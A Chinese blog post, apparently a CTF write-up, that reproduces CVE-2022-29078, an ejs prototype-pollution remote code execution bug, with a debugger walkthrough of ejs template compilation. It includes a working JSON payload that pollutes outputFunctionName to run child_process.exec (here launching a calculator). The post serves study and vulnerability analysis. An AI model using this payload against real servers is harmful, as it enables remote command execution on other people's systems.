目录

  1. 1. 前言
  2. 2. RCE(CVE-2022-29078)
    1. 2.1. payload
    2. 2.2. 调试
    3. 2.3. 代码注入
    4. 2.4. Funtion的apply方法

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ejs原型链污染

2024/1/19 Web Nodejs CVE
  |     |   总文章阅读量:

前言

调试,爽!

参考:https://www.cnblogs.com/icfh/p/17775121.html

RCE(CVE-2022-29078)

版本:ejs <= v3.1.9

这里直接用ctfshow web339的附件进行复现,过程部分参考pop爷的

直接看app.js的关键部分源码

var express = require('express');
var ejs = require('ejs');
/*
...
*/

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

/*
...
*/

app.use('/', indexRouter);
app.use('/login', loginRouter);
app.use('/api',apiRouter);

可以看到这里使用了ejs模板引擎进行渲染

然后我们的污染位置在login.js的copy这里

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

payload

先把我们的payload端上来:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

很明显这个payload污染了outputFunctionName这个属性

抓个login路由的包传进去,然后再访问一次就能触发命令执行

image-20240119212125590


调试

现在在index.js这里下个断点(vscode断点调试参考:https://zhuanlan.zhihu.com/p/108939892

image-20240119214205514

然后访问/路由,一步步进行分析

一路跟进到response.js的app.render,这是express处理路由时,需要渲染首先先载入上下文环境,然后进一步render

image-20240119214652265

一路跟进到application.js下的render,进入render后开始处理模板

image-20240119215349817

此时在renderOptions变量下发现被污染的outputFunctionName属性

现在我们继续追溯这是怎么实现RCE的

image-20240119215534659

这里进入了视图渲染的部分

继续跟进

image-20240119215757523

这里开始启动ejs模板引擎

来到了lib/ejs.js的renderFile

image-20240119220204076

首先浅拷贝opt,然后进入tryHandleCache

tryHandleCache中,首先判断是否有回调函数,有的话进入else分支

image-20240119220440216

然后进入缓存处理,判断是否启用缓存和判断是否已经存在模板,进行模板的懒加载

image-20240119220756322

注意此时变量里的template加载了

'<!--# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-12-25 03:01:21# @Last Modified by:   h1xa# @Last Modified time: 2020-12-27 22:00:35# @email: h1xa@ctfer.com# @link: https://ctfer.com--><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>登录界面</title>    <link rel="stylesheet" href="/stylesheets/index.css">    <script type="text/javascript" src="/javascripts/jquery.js"></script></head><body><script> ...</script></body></html>'

然后传入template和opt,进行compile

image-20240119221249605


代码注入

接下来就是最关键的部分了,进入templ.complie进行拼接,从而实现代码注入

image-20240119221442091

注意看这个opts.outputFunctionName,这个属性默认是为undefined,我们之前污染了原型的这个属性,这个属性在哪里被利用了呢?继续跟进到prepened

image-20240119221908367

此时prepended对象已经被拼接上了opts.outputFunctionName

var __output = "";  function __append(s) { if (s !== undefined && s !== null) __output += s }  var _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;

然后连着appened属性一起被拼贴到了this.source

image-20240119222132359

接下来就到重点了,ctorFunction,我们知道这个是创建了一个构造函数

最后new了一个fn对象,fn对象也就是Function实例化出的,其中的src就是之前的this.source

image-20240119222417257

'var __line = 1  , __lines = "<!--\r\n# -*- coding: utf-8 -*-\r\n# @Author: h1xa\r\n# @Date:   2020-12-25 03:01:21\r\n# @Last Modified by:   h1xa\r\n# @Last Modified time: 2020-12-27 22:00:35\r\n# @email: h1xa@ctfer.com\r\n# @link: https://ctfer.com\r\n\r\n-->\r\n\r\n\r\n<!DOCTYPE html>\r\n<html lang=\"en\">\r\n<head>\r\n    <meta charset=\"UTF-8\">\r\n    <title>登录界面</title>\r\n    <link rel=\"stylesheet\" href=\"/stylesheets/index.css\">\r\n    <script type=\"text/javascript\" src=\"/javascripts/jquery.js\"></script>\r\n</head>\r\n<body>\r\n<script>...</script>\r\n\r\n</body>\r\n</html>")    ; __line = 97  }  return __output;} catch (e) {  rethrow(e, __lines, __filename, __line, escapeFn);}//# sourceURL=D:\下载\Nodejs\web339\views\index.html'

Funtion的apply方法

本地测试一下:

var person = {age:3}
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])

image-20240119223310573

使用 apply() 方法将 myFunction 应用于 person 对象,并传递了参数 [2]

apply() 方法的第一个参数是要将函数应用于的对象,第二个参数是一个数组,其中包含了要传递给函数的参数

现在回到我们的代码,继续跟进到调用apply方法

image-20240119223613110

继续跟进,接下来就是模板渲染返回结果的步骤了

注:这里跟进到了index.html其实是index.ejs渲染后的html

image-20240119225121352

一路跟进到__output这里就会输出命令执行的内容,也就是弹计算器

总之,我们的重点就是在apply方法上,在那儿对outputFunctionName属性调用